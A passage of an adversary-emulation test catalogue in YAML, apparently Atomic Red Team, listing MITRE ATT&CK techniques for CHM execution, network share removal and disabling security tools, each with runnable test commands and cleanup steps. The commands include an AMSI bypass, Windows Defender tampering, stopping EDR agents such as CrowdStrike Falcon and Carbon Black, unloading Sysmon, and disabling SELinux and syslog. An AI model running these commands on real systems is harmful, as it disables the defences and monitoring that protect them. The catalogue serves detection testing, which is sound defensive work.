          if (-not $RequiredModule.ExportedCommands['Invoke-ATHCompiledHelp']) {exit 1} else {exit 0}
        get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser
          -Force

          '
      executor:
        command: 'Invoke-ATHCompiledHelp -ScriptEngine #{script_engine} -InfoTechStorageHandler
          #{infotech_storage_handler} -TopicExtension #{topic_extension} -HHFilePath
          #{hh_file_path} -CHMFilePath #{chm_file_path}'
        name: powershell
    - name: Invoke CHM Shortcut Command with ITS and Help Topic
      auto_generated_guid: 15756147-7470-4a83-87fb-bb5662526247
      description: Executes a CHM file using the Shortcut Command method with a defined
        ITS Protocol Handler, and help topic extension.
      supported_platforms:
      - windows
      input_arguments:
        topic_extension:
          description: Default Help Topic
          type: string
          default: html
        hh_file_path:
          description: path of modified HH.exe
          type: path
          default: "$env:windir\\hh.exe"
        infotech_storage_handler:
          description: Default InfoTech Storage Protocol Handler
          type: string
          default: its
        chm_file_path:
          description: Default path of CHM
          type: string
          default: Test.chm
      dependencies:
      - description: The AtomicTestHarnesses module must be installed and Invoke-ATHCompiledHelp
          must be exported in the module.
        prereq_command: |-
          $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
          if (-not $RequiredModule) {exit 1}
          if (-not $RequiredModule.ExportedCommands['Invoke-ATHCompiledHelp']) {exit 1} else {exit 0}
        get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser
          -Force

          '
      executor:
        command: 'Invoke-ATHCompiledHelp -ExecuteShortcutCommand -InfoTechStorageHandler
          #{infotech_storage_handler} -TopicExtension #{topic_extension} -HHFilePath
          #{hh_file_path} -CHMFilePath #{chm_file_path}'
        name: powershell
    - name: Decompile Local CHM File
      auto_generated_guid: 20cb05e0-1fa5-406d-92c1-84da4ba01813
      description: |
        Uses hh.exe to decompile a local compiled HTML Help file.
        Upon successful execution the chm file will decompile to disk.
        Reference:https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/
      supported_platforms:
      - windows
      input_arguments:
        local_chm_file:
          description: Local .chm payload
          type: path
          default: PathToAtomicsFolder\T1218.001\src\T1218.001.chm
      dependency_executor_name: powershell
      dependencies:
      - description: 'The payload must exist on disk at specified location (#{local_chm_file})

          '
        prereq_command: 'if (Test-Path "#{local_chm_file}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{local_chm_file}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.001/src/T1218.001.chm" -OutFile "#{local_chm_file}"
      executor:
        command: 'hh.exe -decompile %temp% "#{local_chm_file}"

          '
        cleanup_command: 'del %temp%\T1218.001.html >nul 2>&1

          '
        name: command_prompt
  T1070.005:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: 'Indicator Removal on Host: Network Share Connection Removal'
      description: 'Adversaries may remove share connections that are no longer useful
        in order to clean up traces of their operation. Windows shared drive and [SMB/Windows
        Admin Shares](https://attack.mitre.org/techniques/T1021/002) connections can
        be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039)
        is an example utility that can be used to remove network share connections
        with the <code>net use \\system\share /delete</code> command. (Citation: Technet
        Net Use)'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_deprecated: false
      x_mitre_detection: Network share connections may be common depending on how
        an network environment is used. Monitor command-line invocation of <code>net
        use</code> commands associated with establishing and removing remote shares
        over SMB, including following best practices for detection of [Windows Admin
        Shares](https://attack.mitre.org/techniques/T1077). SMB traffic between systems
        may also be captured and decoded to look for related network share session
        and file transfer activity. Windows authentication logs are also useful in
        determining when authenticated network shares are established and by which
        account, and can be used to correlate network share activity to other events
        to investigate potentially malicious activity.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Content'
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      - 'User Account: User Account Authentication'
      x_mitre_defense_bypassed:
      - Host forensic analysis
      x_mitre_system_requirements:
      - Established network share connection to a remote system. Level of access depends
        on permissions of the account used.
      type: attack-pattern
      id: attack-pattern--a750a9f6-0bde-4bb3-9aae-1e2786e9780c
      created: '2020-01-31T12:39:18.816Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1070/005
        external_id: T1070.005
      - source_name: Technet Net Use
        description: Microsoft. (n.d.). Net Use. Retrieved November 25, 2016.
        url: https://technet.microsoft.com/bb490717.aspx
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1070.005
    atomic_tests:
    - name: Add Network Share
      auto_generated_guid: 14c38f32-6509-46d8-ab43-d53e32d2b131
      description: 'Add a Network Share utilizing the command_prompt

        '
      supported_platforms:
      - windows
      input_arguments:
        share_name:
          description: Share to add.
          type: string
          default: "\\\\test\\share"
      executor:
        command: |
          net use c: #{share_name}
          net share test=#{share_name} /REMARK:"test share" /CACHE:No
        name: command_prompt
    - name: Remove Network Share
      auto_generated_guid: '09210ad5-1ef2-4077-9ad3-7351e13e9222'
      description: 'Removes a Network Share utilizing the command_prompt

        '
      supported_platforms:
      - windows
      input_arguments:
        share_name:
          description: Share to remove.
          type: string
          default: "\\\\test\\share"
      executor:
        command: 'net share #{share_name} /delete

          '
        name: command_prompt
    - name: Remove Network Share PowerShell
      auto_generated_guid: 0512d214-9512-4d22-bde7-f37e058259b3
      description: 'Removes a Network Share utilizing PowerShell

        '
      supported_platforms:
      - windows
      input_arguments:
        share_name:
          description: Share to remove.
          type: string
          default: "\\\\test\\share"
      executor:
        command: |
          Remove-SmbShare -Name #{share_name}
          Remove-FileShare -Name #{share_name}
        name: powershell
    - name: Disable Administrative Share Creation at Startup
      auto_generated_guid: 99c657aa-ebeb-4179-a665-69288fdd12b8
      description: "Administrative shares are hidden network shares created by Microsoft’s
        Windows NT operating systems that grant system administrators \nremote access
        to every disk volume on a network-connected system. These shares are automatically
        created at started unless they have been\npurposefully disabled as is done
        in this Atomic test. As Microsoft puts it, \"Missing administrative shares
        typically \nindicate that the computer in question has been compromised by
        malicious software.\"\nhttps://threatpost.com/conti-ransomware-gang-has-full-log4shell-attack-chain/177173/\n"
      supported_platforms:
      - windows
      executor:
        command: |
          reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" /v AutoShareServer /t REG_DWORD /d 0 /f
          reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" /v AutoShareWks /t REG_DWORD /d 0 /f
        cleanup_command: |
          reg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" /v AutoShareServer /f
          reg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" /v AutoShareWks /f
        name: command_prompt
        elevation_required: true
    - name: Remove Administrative Shares
      auto_generated_guid: 4299eff5-90f1-4446-b2f3-7f4f5cfd5d62
      description: "Administrative shares are hidden network shares created by Microsoft’s
        Windows NT operating systems that grant system administrators \nremote access
        to every disk volume on a network-connected system. As Microsoft puts it,
        “Missing administrative shares typically \nindicate that the computer in question
        has been compromised by malicious software.\nhttps://threatpost.com/conti-ransomware-gang-has-full-log4shell-attack-chain/177173/\n"
      supported_platforms:
      - windows
      executor:
        command: for %i in (C$ IPC$ ADMIN$) do net share %i /delete
        cleanup_command: |
          net share ADMIN$ /UNLIMITED >nul 2>&1
          net share C$=C:\ >nul 2>&1
          net share IPC$ >nul 2>&1
        name: command_prompt
        elevation_required: true
  T1562.001:
    technique:
      modified: '2024-04-12T21:13:46.640Z'
      name: 'Impair Defenses: Disable or Modify Tools'
      description: "Adversaries may modify and/or disable security tools to avoid
        possible detection of their malware/tools and activities. This may take many
        forms, such as killing security software processes or services, modifying
        / deleting Registry keys or configuration files so that tools do not operate
        properly, or other methods to interfere with security tools scanning or reporting
        information. Adversaries may also disable updates to prevent the latest security
        patches from reaching tools on victim systems.(Citation: SCADAfence_ransomware)\n\nAdversaries
        may also tamper with artifacts deployed and utilized by security tools. Security
        tools may make dynamic changes to system components in order to maintain visibility
        into specific events. For example, security products may load their own modules
        and/or modify those loaded by processes to facilitate data collection. Similar
        to [Indicator Blocking](https://attack.mitre.org/techniques/T1562/006), adversaries
        may unhook or otherwise modify these features added by tools (especially those
        that exist in userland or are otherwise potentially accessible to adversaries)
        to avoid detection.(Citation: OutFlank System Calls)(Citation: MDSec System
        Calls) \n\nAdversaries may also focus on specific applications such as Sysmon.
        For example, the “Start” and “Enable” values in <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Microsoft-Windows-Sysmon-Operational</code>
        may be modified to tamper with and potentially disable Sysmon logging.(Citation:
        disable_win_evt_logging) \n\nOn network devices, adversaries may attempt to
        skip digital signature verification checks by altering startup configuration
        files and effectively disabling firmware verification that typically occurs
        at boot.(Citation: Fortinet Zero-Day and Custom Malware Used by Suspected
        Chinese Actor in Espionage Operation)(Citation: Analysis of FG-IR-22-369)\n\nIn
        cloud environments, tools disabled by adversaries may include cloud monitoring
        agents that report back to services such as AWS CloudWatch or Google Cloud
        Monitor.\n\nFurthermore, although defensive tools may have anti-tampering
        mechanisms, adversaries may abuse tools such as legitimate rootkit removal
        kits to impair and/or disable these tools.(Citation: chasing_avaddon_ransomware)(Citation:
        dharma_ransomware)(Citation: demystifying_ryuk)(Citation: doppelpaymer_crowdstrike)
        For example, adversaries have used tools such as GMER to find and shut down
        hidden processes and antivirus software on infected systems.(Citation: demystifying_ryuk)\n\nAdditionally,
        adversaries may exploit legitimate drivers from anti-virus software to gain
        access to kernel space (i.e. [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068)),
        which may lead to bypassing anti-tampering features.(Citation: avoslocker_ransomware)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_contributors:
      - Gordon Long, Box, Inc., @ethicalhax
      - Ziv Karliner, @ziv_kr, Team Nautilus Aqua Security
      - Nathaniel Quist, Palo Alto Networks
      - Gal Singer, @galsinger29, Team Nautilus Aqua Security
      - Daniel Feichter, @VirtualAllocEx, Infosec Tirol
      - Cian Heasley
      - Alex Soler, AttackIQ
      - Sarathkumar Rajendran, Microsoft Defender365
      - Lucas Heiligenstein
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Monitor processes and command-line arguments to see if security tools/services are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Monitoring for changes to other known features used by deployed security tools may also expose malicious activity.

        Lack of expected log events may be suspicious.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      - macOS
      - Linux
      - Containers
      - IaaS
      - Network
      x_mitre_version: '1.5'
      x_mitre_data_sources:
      - 'Sensor Health: Host Status'
      - 'Process: Process Termination'
      - 'Process: Process Creation'
      - 'Service: Service Metadata'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Command: Command Execution'
      - 'Windows Registry: Windows Registry Key Deletion'
      - 'Driver: Driver Load'
      x_mitre_defense_bypassed:
      - Anti-virus
      - Log analysis
      - Signature-based detection
      - Host intrusion prevention systems
      - File monitoring
      type: attack-pattern
      id: attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579
      created: '2020-02-21T20:32:20.810Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1562/001
        external_id: T1562.001
      - source_name: Analysis of FG-IR-22-369
        description: " Guillaume Lovet and Alex Kong. (2023, March 9). Analysis of
          FG-IR-22-369. Retrieved May 15, 2023."
        url: https://www.fortinet.com/blog/psirt-blogs/fg-ir-22-369-psirt-analysis
      - source_name: Fortinet Zero-Day and Custom Malware Used by Suspected Chinese
          Actor in Espionage Operation
        description: ALEXANDER MARVI, BRAD SLAYBAUGH, DAN EBREO, TUFAIL AHMED, MUHAMMAD
          UMAIR, TINA JOHNSON. (2023, March 16). Fortinet Zero-Day and Custom Malware
          Used by Suspected Chinese Actor in Espionage Operation. Retrieved May 15,
          2023.
        url: https://www.mandiant.com/resources/blog/fortinet-malware-ecosystem
      - source_name: OutFlank System Calls
        description: 'de Plaa, C. (2019, June 19). Red Team Tactics: Combining Direct
          System Calls and sRDI to bypass AV/EDR. Retrieved September 29, 2021.'
        url: https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/
      - source_name: disable_win_evt_logging
        description: 'Heiligenstein, L. (n.d.). REP-25: Disable Windows Event Logging.
          Retrieved April 7, 2022.'
        url: https://ptylu.github.io/content/report/report.html?report=25
      - source_name: chasing_avaddon_ransomware
        description: 'Hernandez, A. S. Tarter, P. Ocamp, E. J. (2022, January 19).
          One Source to Rule Them All: Chasing AVADDON Ransomware. Retrieved January
          26, 2022.'
        url: https://www.mandiant.com/resources/chasing-avaddon-ransomware
      - source_name: doppelpaymer_crowdstrike
        description: 'Hurley, S. (2021, December 7). Critical Hit: How DoppelPaymer
          Hunts and Kills Windows Processes. Retrieved January 26, 2022.'
        url: https://www.crowdstrike.com/blog/how-doppelpaymer-hunts-and-kills-windows-processes/
      - source_name: avoslocker_ransomware
        description: Lakshmanan, R. (2022, May 2). AvosLocker Ransomware Variant Using
          New Trick to Disable Antivirus Protection. Retrieved May 17, 2022.
        url: https://thehackernews.com/2022/05/avoslocker-ransomware-variant-using-new.html
      - source_name: dharma_ransomware
        description: Loui, E. Scheuerman, K. et al. (2020, April 16). Targeted Dharma
          Ransomware Intrusions Exhibit Consistent Techniques. Retrieved January 26,
          2022.
        url: https://www.crowdstrike.com/blog/targeted-dharma-ransomware-intrusions-exhibit-consistent-techniques/
      - source_name: MDSec System Calls
        description: MDSec Research. (2020, December). Bypassing User-Mode Hooks and
          Direct Invocation of System Calls for Red Teams. Retrieved September 29,
          2021.
        url: https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/
      - source_name: SCADAfence_ransomware
        description: Shaked, O. (2020, January 20). Anatomy of a Targeted Ransomware
          Attack. Retrieved June 18, 2022.
        url: https://cdn.logic-control.com/docs/scadafence/Anatomy-Of-A-Targeted-Ransomware-Attack-WP.pdf
      - source_name: demystifying_ryuk
        description: Tran, T. (2020, November 24). Demystifying Ransomware Attacks
          Against Microsoft Defender Solution. Retrieved January 26, 2022.
        url: https://techcommunity.microsoft.com/t5/core-infrastructure-and-security/demystifying-ransomware-attacks-against-microsoft-defender/ba-p/1928947
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1562.001
    atomic_tests:
    - name: Disable syslog
      auto_generated_guid: 4ce786f8-e601-44b5-bfae-9ebb15a7d1c8
      description: 'Disables syslog collection

        '
      supported_platforms:
      - linux
      input_arguments:
        package_checker:
          description: Package checking command for linux.
          type: string
          default: "(rpm -q rsyslog 2>&1 >/dev/null) || (dpkg -s rsyslog | grep -q
            installed)"
        package_installer:
          description: Package installer command for linux. Default yum
          type: string
          default: "(which yum && yum -y install epel-release rsyslog)||(which apt-get
            && apt-get install -y rsyslog)"
        flavor_command:
          description: Command to disable syslog collection. Default newer rsyslog
            commands. i.e older command = service rsyslog stop ; chkconfig off rsyslog
          type: string
          default: systemctl stop rsyslog ; systemctl disable rsyslog
        cleanup_command:
          description: Command to enable syslog collection. Default newer rsyslog
            commands. i.e older command = service rsyslog start ; chkconfig rsyslog
            on
          type: string
          default: systemctl start rsyslog ; systemctl enable rsyslog
      dependency_executor_name: sh
      dependencies:
      - description: 'Package with rsyslog must be on system

          '
        prereq_command: 'if #{package_checker} > /dev/null; then exit 0; else exit
          1; fi

          '
        get_prereq_command: "sudo #{package_installer} \n"
      executor:
        command: "#{flavor_command}\n"
        cleanup_command: "#{cleanup_command}\n"
        name: sh
        elevation_required: true
    - name: Disable syslog (freebsd)
      auto_generated_guid: db9de996-441e-4ae0-947b-61b6871e2fdf
      description: 'Disables syslog collection

        '
      supported_platforms:
      - linux
      executor:
        command: |
          service syslogd stop
          sysrc syslogd_enable="NO"
        cleanup_command: |
          sysrc syslogd_enable="YES"
          service syslogd start
        name: sh
        elevation_required: true
    - name: Disable Cb Response
      auto_generated_guid: ae8943f7-0f8d-44de-962d-fbc2e2f03eb8
      description: 'Disable the Cb Response service

        '
      supported_platforms:
      - linux
      executor:
        command: |
          if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -eq "6" ];
          then
            service cbdaemon stop
            chkconfig off cbdaemon
          else if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -eq "7" ];
            systemctl stop cbdaemon
            systemctl disable cbdaemon
          fi
        name: sh
    - name: Disable SELinux
      auto_generated_guid: fc225f36-9279-4c39-b3f9-5141ab74f8d8
      description: 'Disables SELinux enforcement

        '
      supported_platforms:
      - linux
      dependencies:
      - description: 'SELinux must be installed

          '
        prereq_command: 'which setenforce

          '
        get_prereq_command: 'echo "SELinux is not installed"; exit 1

          '
      executor:
        command: 'setenforce 0

          '
        cleanup_command: 'setenforce 1

          '
        name: sh
        elevation_required: true
    - name: Stop Crowdstrike Falcon on Linux
      auto_generated_guid: 828a1278-81cc-4802-96ab-188bf29ca77d
      description: 'Stop and disable Crowdstrike Falcon on Linux

        '
      supported_platforms:
      - linux
      executor:
        command: |
          sudo systemctl stop falcon-sensor.service
          sudo systemctl disable falcon-sensor.service
        cleanup_command: |
          sudo systemctl enable falcon-sensor.service
          sudo systemctl start falcon-sensor.service
        name: sh
        elevation_required: true
    - name: Disable Carbon Black Response
      auto_generated_guid: 8fba7766-2d11-4b4a-979a-1e3d9cc9a88c
      description: 'Disables Carbon Black Response

        '
      supported_platforms:
      - macos
      executor:
        command: |
          sudo launchctl unload /Library/LaunchDaemons/com.carbonblack.daemon.plist
          sudo launchctl unload /Library/LaunchDaemons/com.carbonblack.defense.daemon.plist
        cleanup_command: |
          sudo launchctl load -w /Library/LaunchDaemons/com.carbonblack.daemon.plist
          sudo launchctl load -w /Library/LaunchDaemons/com.carbonblack.defense.daemon.plist
        name: sh
        elevation_required: true
    - name: Disable LittleSnitch
      auto_generated_guid: 62155dd8-bb3d-4f32-b31c-6532ff3ac6a3
      description: 'Disables LittleSnitch

        '
      supported_platforms:
      - macos
      executor:
        command: 'sudo launchctl unload /Library/LaunchDaemons/at.obdev.littlesnitchd.plist

          '
        cleanup_command: 'sudo launchctl load -w /Library/LaunchDaemons/at.obdev.littlesnitchd.plist

          '
        name: sh
        elevation_required: true
    - name: Disable OpenDNS Umbrella
      auto_generated_guid: 07f43b33-1e15-4e99-be70-bc094157c849
      description: 'Disables OpenDNS Umbrella

        '
      supported_platforms:
      - macos
      executor:
        command: 'sudo launchctl unload /Library/LaunchDaemons/com.opendns.osx.RoamingClientConfigUpdater.plist

          '
        cleanup_command: 'sudo launchctl load -w /Library/LaunchDaemons/com.opendns.osx.RoamingClientConfigUpdater.plist

          '
        name: sh
        elevation_required: true
    - name: Disable macOS Gatekeeper
      auto_generated_guid: 2a821573-fb3f-4e71-92c3-daac7432f053
      description: 'Disables macOS Gatekeeper

        '
      supported_platforms:
      - macos
      executor:
        command: 'sudo spctl --master-disable

          '
        cleanup_command: 'sudo spctl --master-enable

          '
        name: sh
        elevation_required: true
    - name: Stop and unload Crowdstrike Falcon on macOS
      auto_generated_guid: b3e7510c-2d4c-4249-a33f-591a2bc83eef
      description: 'Stop and unload Crowdstrike Falcon daemons falcond and userdaemon
        on macOS

        '
      supported_platforms:
      - macos
      input_arguments:
        falcond_plist:
          description: The path of the Crowdstrike Falcon plist file
          type: path
          default: "/Library/LaunchDaemons/com.crowdstrike.falcond.plist"
        userdaemon_plist:
          description: The path of the Crowdstrike Userdaemon plist file
          type: path
          default: "/Library/LaunchDaemons/com.crowdstrike.userdaemon.plist"
      executor:
        command: |
          sudo launchctl unload #{falcond_plist}
          sudo launchctl unload #{userdaemon_plist}
        cleanup_command: |
          sudo launchctl load -w #{falcond_plist}
          sudo launchctl load -w #{userdaemon_plist}
        name: sh
        elevation_required: true
    - name: Unload Sysmon Filter Driver
      auto_generated_guid: 811b3e76-c41b-430c-ac0d-e2380bfaa164
      description: |
        Unloads the Sysinternals Sysmon filter driver without stopping the Sysmon service. To verify successful execution,
        run the prereq_command's and it should fail with an error of "sysmon filter must be loaded".
      supported_platforms:
      - windows
      input_arguments:
        sysmon_driver:
          description: The name of the Sysmon filter driver (this can change from
            the default)
          type: string
          default: SysmonDrv
      dependency_executor_name: powershell
      dependencies:
      - description: 'Sysmon must be downloaded

          '
        prereq_command: 'if ((cmd.exe /c "where.exe Sysmon.exe 2> nul | findstr /i
          Sysmon 2> nul") -or (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\Sysmon\Sysmon.exe"))
          { exit 0 } else { exit 1 }

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://download.sysinternals.com/files/Sysmon.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\Sysmon.zip"
          Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\Sysmon.zip" "PathToAtomicsFolder\..\ExternalPayloads\Sysmon" -Force
      - description: 'sysmon must be Installed

          '
        prereq_command: 'if(sc.exe query sysmon | findstr sysmon) { exit 0 } else
          { exit 1 }

          '
        get_prereq_command: |
          if(cmd.exe /c "where.exe Sysmon.exe 2> nul | findstr Sysmon 2> nul") { C:\Windows\Sysmon.exe -accepteula -i } else
          { & "PathToAtomicsFolder\..\ExternalPayloads\Sysmon\Sysmon.exe" -accepteula -i}
      - description: 'sysmon filter must be loaded

          '
        prereq_command: 'if(fltmc.exe filters | findstr #{sysmon_driver}) { exit 0
          } else { exit 1 }

          '
        get_prereq_command: |
          if(Test-Path "PathToAtomicsFolder\..\ExternalPayloads\Sysmon\Sysmon.exe"){
            & "PathToAtomicsFolder\..\ExternalPayloads\Sysmon\Sysmon.exe" -u
            & "PathToAtomicsFolder\..\ExternalPayloads\Sysmon\Sysmon.exe" -accepteula -i
          }else{
            sysmon -u
            sysmon -accepteula -i
          }
      executor:
        command: 'fltmc.exe unload #{sysmon_driver}

          '
        cleanup_command: |
          sysmon -u -i > nul 2>&1
          sysmon -i -accepteula -i > nul 2>&1
          "PathToAtomicsFolder\..\ExternalPayloads\Sysmon\Sysmon.exe" -u > nul 2>&1
          "PathToAtomicsFolder\..\ExternalPayloads\Sysmon\Sysmon.exe" -accepteula -i > nul 2>&1
        name: command_prompt
        elevation_required: true
    - name: Uninstall Sysmon
      auto_generated_guid: a316fb2e-5344-470d-91c1-23e15c374edc
      description: 'Uninstall Sysinternals Sysmon for Defense Evasion

        '
      supported_platforms:
      - windows
      input_arguments:
        sysmon_exe:
          description: The location of the Sysmon executable from Sysinternals (ignored
            if sysmon.exe is found in your PATH)
          type: path
          default: PathToAtomicsFolder\T1562.001\bin\sysmon.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'Sysmon executable must be available

          '
        prereq_command: 'if(cmd /c where sysmon) {exit 0} else {exit 1}

          '
        get_prereq_command: |
          $parentpath = Split-Path "#{sysmon_exe}"; $zippath = "$parentpath\Sysmon.zip"
          New-Item -ItemType Directory $parentpath -Force | Out-Null
          Invoke-WebRequest "https://download.sysinternals.com/files/Sysmon.zip" -OutFile "$zippath"
          Expand-Archive $zippath $parentpath -Force; Remove-Item $zippath
          if(-not ($Env:Path).contains($parentpath)){$Env:Path += ";$parentpath"}
      - description: 'Sysmon must be installed

          '
        prereq_command: 'if(cmd /c sc query sysmon) { exit 0} else { exit 1}

          '
        get_prereq_command: 'cmd /c sysmon -i -accepteula

          '
      executor:
        command: 'sysmon -u

          '
        cleanup_command: 'sysmon -i -accepteula >nul 2>&1

          '
        name: command_prompt
        elevation_required: true
    - name: AMSI Bypass - AMSI InitFailed
      auto_generated_guid: 695eed40-e949-40e5-b306-b4031e4154bd
      description: |
        Any easy way to bypass AMSI inspection is it patch the dll in memory setting the "amsiInitFailed" function to true.
        Upon execution, no output is displayed.

        https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
      supported_platforms:
      - windows
      executor:
        command: "[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)\n"
        cleanup_command: "[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$false)\n"
        name: powershell
    - name: AMSI Bypass - Remove AMSI Provider Reg Key
      auto_generated_guid: 13f09b91-c953-438e-845b-b585e51cac9b
      description: |
        With administrative rights, an adversary can remove the AMSI Provider registry key in HKLM\Software\Microsoft\AMSI to disable AMSI inspection.
        This test removes the Windows Defender provider registry key. Upon execution, no output is displayed.
        Open Registry Editor and navigate to "HKLM:\SOFTWARE\Microsoft\AMSI\Providers\" to verify that it is gone.
      supported_platforms:
      - windows
      executor:
        command: 'Remove-Item -Path "HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}"
          -Recurse

          '
        cleanup_command: 'New-Item -Path "HKLM:\SOFTWARE\Microsoft\AMSI\Providers"
          -Name "{2781761E-28E0-4109-99FE-B9D127C57AFE}" -ErrorAction Ignore | Out-Null

          '
        name: powershell
        elevation_required: true
    - name: Disable Arbitrary Security Windows Service
      auto_generated_guid: a1230893-56ac-4c81-b644-2108e982f8f5
      description: |
        With administrative rights, an adversary can disable Windows Services related to security products. This test requires McAfeeDLPAgentService to be installed.
        Change the service_name input argument for your AV solution. Upon exeuction, infomration will be displayed stating the status of the service.
        To verify that the service has stopped, run "sc query McAfeeDLPAgentService"
      supported_platforms:
      - windows
      input_arguments:
        service_name:
          description: The name of the service to stop
          type: string
          default: McAfeeDLPAgentService
      executor:
        command: |
          net.exe stop #{service_name}
          sc.exe config #{service_name} start= disabled
        cleanup_command: |
          sc.exe config #{service_name} start= auto >nul 2>&1
          net.exe start #{service_name} >nul 2>&1
        name: command_prompt
        elevation_required: true
    - name: Tamper with Windows Defender ATP PowerShell
      auto_generated_guid: 6b8df440-51ec-4d53-bf83-899591c9b5d7
      description: |
        Attempting to disable scheduled scanning and other parts of windows defender atp. Upon execution Virus and Threat Protection will show as disabled
        in Windows settings.
      supported_platforms:
      - windows
      executor:
        command: |
          Set-MpPreference -DisableRealtimeMonitoring 1
          Set-MpPreference -DisableBehaviorMonitoring 1
          Set-MpPreference -DisableScriptScanning 1
          Set-MpPreference -DisableBlockAtFirstSeen 1
        cleanup_command: |
          Set-MpPreference -DisableRealtimeMonitoring 0
          Set-MpPreference -DisableBehaviorMonitoring 0
          Set-MpPreference -DisableScriptScanning 0
          Set-MpPreference -DisableBlockAtFirstSeen 0
        name: powershell
        elevation_required: true
    - name: Tamper with Windows Defender Command Prompt
      auto_generated_guid: aa875ed4-8935-47e2-b2c5-6ec00ab220d2
      description: |
        Attempting to disable scheduled scanning and other parts of windows defender atp. These commands must be run as System, so they still fail as administrator.
        However, adversaries do attempt to perform this action so monitoring for these command lines can help alert to other bad things going on. Upon execution, "Access Denied"
        will be displayed twice and the WinDefend service status will be displayed.
      supported_platforms:
      - windows
      executor:
        command: |
          sc stop WinDefend
          sc config WinDefend start=disabled
          sc query WinDefend
        cleanup_command: |
          sc start WinDefend >nul 2>&1
          sc config WinDefend start=enabled >nul 2>&1
        name: command_prompt
        elevation_required: true
    - name: Tamper with Windows Defender Registry
      auto_generated_guid: 1b3e0146-a1e5-4c5c-89fb-1bb2ffe8fc45
      description: |
        Disable Windows Defender from starting after a reboot. Upen execution, if the computer is rebooted the entire Virus and Threat protection window in Settings will be
        grayed out and have no info.
      supported_platforms:
      - windows
      executor:
        command: 'Set-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender"
          -Name DisableAntiSpyware -Value 1

          '
        cleanup_command: 'Set-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows
          Defender" -Name DisableAntiSpyware -Value 0

          '
        name: powershell
        elevation_required: true
    - name: Disable Microsoft Office Security Features
      auto_generated_guid: 6f5fb61b-4e56-4a3d-a8c3-82e13686c6d7
      description: |
        Gorgon group may disable Office security features so that their code can run. Upon execution, an external document will not
        show any warning before editing the document.


        https://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/
      supported_platforms:
      - windows
      executor:
        command: |
          New-Item -Path "HKCU:\Software\Microsoft\Office\16.0\Excel"
          New-Item -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security"
          New-Item -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView"
          New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security" -Name "VBAWarnings" -Value "1" -PropertyType "Dword"
          New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView" -Name "DisableInternetFilesInPV" -Value "1" -PropertyType "Dword"
